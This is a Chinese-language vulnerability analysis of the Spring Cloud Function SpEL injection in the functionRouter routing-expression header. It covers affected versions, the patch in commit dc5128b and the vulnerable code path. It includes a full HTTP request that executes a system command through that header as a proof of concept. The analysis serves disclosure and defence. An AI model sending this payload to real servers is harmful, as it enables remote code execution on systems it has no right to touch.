SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本.
影响版本:3 <= Version <= 3.2.2(commit dc5128b之前)
只有Spring Cloud Function部分版本特定配置的动态路由才会受影响(spring.cloud.function.definition=functionRouter),但SpEL表达式存在charset、replace等多种变形
POST /functionRouter HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 4test
在main分支commit dc5128b中,新增了SimpleEvaluationContext,由isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时(比如System.setProperty)才用StandardEvaluationContext解析
首先我们的得知该漏洞是RoutingFunction功能导致的
根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段
提取出测试类后在apply方法下断并跟入,省略一些中间流程,最终可以看到从HTTP头spring.cloud.function.routing-expression中取出SpEL表达式并由StandardEvaluationContext解析